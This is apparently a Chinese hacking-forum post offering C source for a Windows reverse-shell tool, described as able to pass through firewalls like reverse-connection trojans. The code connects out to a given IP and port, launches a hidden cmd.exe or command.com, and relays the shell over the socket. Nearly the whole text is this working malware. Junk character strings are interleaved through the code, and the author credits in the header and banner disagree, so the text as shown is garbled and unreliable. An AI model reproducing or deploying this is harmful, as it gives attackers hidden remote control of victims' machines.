Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 z[LNf.)}  
+"x,x  
/* ============================== 3("_Z%  
Rebound port in Windows NT mkMq  
By wind,2006/7 "76]u)  
===============================*/ ]-PH^H  
#include 3Ko/{f  
#include " f <Z=c  
Bs13^^hu
 
#pragma comment(lib,"wsock32.lib") |^0XYBxQ  
2I%MAb&1@  
void OutputShell(); 
_?<|{O  
SOCKET sClient; [6pD  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ={_C&57N1  
4Z1ST;  
void main(int argc,char **argv) 2!0c4a^z  
{ mi ik%7>W  
WSADATA stWsaData; d^Inb!%w  
int nRet; _+p4Wvu~0  
SOCKADDR_IN stSaiClient,stSaiServer; O|\J}rm'  
2gc/3*F8  
if(argc != 3) E4xj?m^(y=  
{ U}&
2k  
printf("Useage:\n\rRebound DestIP DestPort\n"); hq%?=2'9?  
return; 05z,b]>l  
} ?<V?wsp  
rw: c  
WSAStartup(MAKEWORD(2,2),&stWsaData); .}&`TU  
N2B|SO''  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j\,EO+ZQCv  
1s%#$ 7  
stSaiClient.sin_family = AF_INET; N8k00*p65  
stSaiClient.sin_port = htons(0); | 1E|hh@k  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9}l33T4T  
(gy#js#  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) cFaaLUZk  
{ l9}3XI.=  
printf("Bind Socket Failed!\n"); kv3E4,<9  
return; I2TaT(e\  
} K17j$o^6KK  
TX$r`~  
stSaiServer.sin_family = AF_INET; cimp/n"  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); UADFnwR[R  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 
cU;iUf  
`Zf^E >)  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) DAS/43\  
{ wN`
jE0 {  
printf("Connect Error!"); e91aK  
return; i'4B3  
}
!>v2
i"  
OutputShell(); }3o|EXx=  
} u\ #"L  
?,p;O  
void OutputShell() !;0U,!WI  
{ -}=i 04^  
char szBuff[1024]; qC}-_u7s
 
SECURITY_ATTRIBUTES stSecurityAttributes; |?rNy=P,  
OSVERSIONINFO stOsversionInfo; Du`JaJI  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; WP?TX b`5  
STARTUPINFO stStartupInfo; uv=.2U46  
char *szShell; g}f`,r9
  
PROCESS_INFORMATION stProcessInformation; %70~M_  
unsigned long lBytesRead; eCN })An  
Y]NSN-t  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =4[v3Qx  
ABF"~=aL  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Y<mej][  
stSecurityAttributes.lpSecurityDescriptor = 0; >=RmGS  
stSecurityAttributes.bInheritHandle = TRUE; T.@aep\"  
?3%`bY+3;  
&{>cZh}\  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )=5ng-  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); L
O <  
K<pV  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); LJ*q1 ;<E  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VTG9$rQZ  
stStartupInfo.wShowWindow = SW_HIDE; "]z-: \ V  
stStartupInfo.hStdInput = hReadPipe; Q7R~{5r>W  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; zN!ZyI$nqP  
.#1~Rz1r  
GetVersionEx(&stOsversionInfo); & @s!<9$W  
? i( %  
switch(stOsversionInfo.dwPlatformId) *$p2*%7Ne  
{ ZkAU17f  
case 1: jgbLN/_{  
szShell = "command.com"; odPL{XFj  
break; &z>e5_.  
default: ,_yhz0.  
szShell = "cmd.exe"; q0$ !y!~  
break; 30XR 82P/  
} HR ;)|j{!  
ROk5]b.  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _h X]%  
/h*>P:i].  
send(sClient,szMsg,77,0); .Jt[(;  
while(1) U7oo$gW%|T  
{ mMb'@  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); P5 K' p5}#  
if(lBytesRead) r9 ui|>U"  
{ T
{Sb^-H#X  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); VwOW=4`6  
send(sClient,szBuff,lBytesRead,0); 3=Cc.a/3  
} b!sRk@LGZ  
else PNaay:a|  
{ LUC4=kk4  
lBytesRead=recv(sClient,szBuff,1024,0); }z\_;\7  
if(lBytesRead<=0) break; Q(<)KZIK  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &jsVw)Ue  
} J.ck~;3  
} COW}o~3-4  
wvbPnf^y  
return; TiYnc3Bz}J  
}